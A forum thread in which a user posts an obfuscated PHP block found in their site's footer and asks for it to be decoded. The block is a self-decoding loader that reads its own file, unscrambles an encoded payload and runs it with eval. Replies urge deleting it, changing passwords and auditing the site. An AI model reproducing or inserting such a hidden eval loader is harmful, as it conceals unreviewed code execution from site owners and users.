help in decoding

[meopensource]

Please decode this

$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=5488;eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cygkTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDM3MiksJ0VudGVyeW91d2toUkhZS05XT1VUQWFCYkNjRGRGZkdnSWlKakxsTW1QcFFxU3NWdlh4WnowMTIzNDU2Nzg5Ky89JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
kr9NHenNHenNHe1lFMamb3klFoxiC2APk19gOLlHOa9gkZXJkZwVkr9NTznNHr8XHt4JkZwShokiF2A2Yy9LcBYvcoAPF3OZfuwPcmklCBWPkr8XHenNHr8XHtXLT08XHr8XHeEXhUXmOB50cbk5d3a3D2iUUylRTlfNaaOnCAkJW2YrcrcMO2fkDApQToxYdanXAbyTF1c2BuiDGjExHjH0YTC3KeLqRz0mRtfnWLYrOAcuUrlhU0xYTL9WAakTayaBa1icBMyJC2OlcMfPDBpqdo1Vd3nxFmY0fbc3Gul6HerZHzW1YjF4KUSvkZLphUL7cMYSd3YlhtONHeEXTznNHeEpK2a2CBXPkr9NHenNHenNHtL7cBYPdZEmtWLktTxLDbCIC2xiF3H9wMYScByZwj48R2Opfj4YtILktTXvcol2NI0htWLkNtrsRUEvRZned250cB50wt0sNI0htWL8R2Opfj4YtILkNtrsRUEvRZnbFMyXFoaZwt0sNI0htWLYtILkNtrsRUntd3O0d20IRZ8IRU0+eWPktTxLDbCIC2xiF3H9wMkvfuOvdUw+eWPktWL8col2woYSCbYzNUkJDB5VcbwJNI0htWLktTxzFoyVwoYSCbYzNUkJdoaMftw+Nt9zFoyVNI0htWLktTxzFoyVwoYSCbYzNUkJFMlmDuWJNjXvF3nidj4YtILktWL8fBX+eWPktWLktTxSDT4YtILktWLktTxzFoyVwoYSCbYzNUkPcByLDB5mYtnzFukpfoAJNLyJd3a0wyazNt9zFoyVNI0htWLktWLkNoOpfJnjdoyzFz0JCM94wj4YtILktWLktWLmKZnpcJimcbOgf3nVb2YvdMcpcZImCBkvfbO1F190cbi0kZLpwePIK2ajDo8IkXLktWLktWLkkzSIcBYPdZnzfukpFuYSCbYPcbHPc2a0b3fXdl9jd25MDBFPk2yJd3a0fbYgfoa4ftFphTSIK2ajDo8IkXLktWLktWLmKZnlduYlKJE7cBYPdZEmtWLktWLktWlKdZnnCM91ftnaFZn0cbi0woOlcMlVcBWVwyYlftnpftnpdJn0DoAIfoildBAId3n0DB9VFZ4YtILktWLktWLmKZnldMOpcjSIK2ajDo8IkXLktWLktTXvcol2NI0htWLktWL8R2xpNI0htWLktWL8doL+eWPktWLktWL8F3nidJnjdoyzFz0JDoaicolVczWIF3nZDbOlwj5UcBYldmWIW29sdBaVfuH8R3YXCB4+eWPktWLktWL8col2woYSCbYzNUkJd3IJNI0htWLktWLktTx1de4YtILktWLktWLkkzSYtILktWLktWLktUOzFBXINUEJeWPktWLktWLktWLkA0aHOAYAwrOkA1OkTLYAwrlrRtnXd3Y0b3OpfoxlRtnXd3Y0b3niF3Y3d3kLRtnjd21scB50b0lrRtEYtILktWLktWLktWljd21scB50b3nvF3OgUAWSwoYvdB1ldmOgCba0Do9Zb2asCBlSRtEYtILktWLktWLktWljd21scB50b2y1foivFJXIC29sdBaVfy9LCbOlb2fsftXIC29sdBaVfy9iFunZd3clctXIC29sdBaVfy90GbnlRoYvdB1ldmOgCba0Do9Zb3aZdtXIeWPktWLktWLktWLkA1atA1OUUA5uhoYvdB1ldmOgC29VfoaVftXxReH1hUnnAZnjd21gcbijcbkXftEYtILktWLktWLktWloAL9YwtO3FoOJRT5jd21scB50FZEYtILktWLktWLktWlHOAcAwr9aaraUwrpNUA4IkufXcowsNmnvF3Ozwr9KwtILf3nLCJ0+C29sdBaVfuHVC29sdBaVfy9Xd3Y0b0lrwe0IkufXcowsNmnvF3OzRLlrhUEYtILktWLktWLktWlbUraUOUnjd21scB50b2yXFukvfMaLwe0IkzrmwE0htWLktWLktWLktAyKOtnjd21scB50b3O5FoAINUEmkZEYtILktWLktWLktWlnTLWIFo9zfy9XCbYzf29ZctE9wtFmwE0htWLktWLktWLktA9UOraUwrkcwoYvdB1ldmOgcoy0ca9mdbWIOraTWZnHUA1katE1wjSYtI0htWLktWLktWLkkoYvdB1ldmOzwe0IkufXcowsNMflfy9ZcbY1duOzhtOzFBXpKX0heWPktWLktWLktWlMd3klCBYPwtILC29sdBaVfuHICbHIkoYvdB1ldmWpwtn7eWPktWLktWLktWLkko91fun1ftEVNUEJeWPktWLktWLktWLktTxSDT4JRMflfy9ifMy0CbwPkoYvdB1ldmWsNMYvdB1ldmOgCba0Do9Zb2asCBlSRtFZHZFSkoOlcMy1duW9kZFVc2a0b29Xfolv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

I have this code written in footer page .
thanks in advance

[NogDog]

If you did not put it there, just delete it before it does any more damage, change all your server and database login passwords, notify the system admin, and do a security audit of your site.

If you did put it there, then contact the person who supplied the code (though I'm guessing this is not the case).

[bradgrafelman]

If you did put it there, then you most likely have the unobfuscated version of the code. If you didn't put it there, then you most likely are trying to de-obfuscate someone else's code.

Either way, there is plenty of information about the general topic on the board already, hence why this thread is being locked.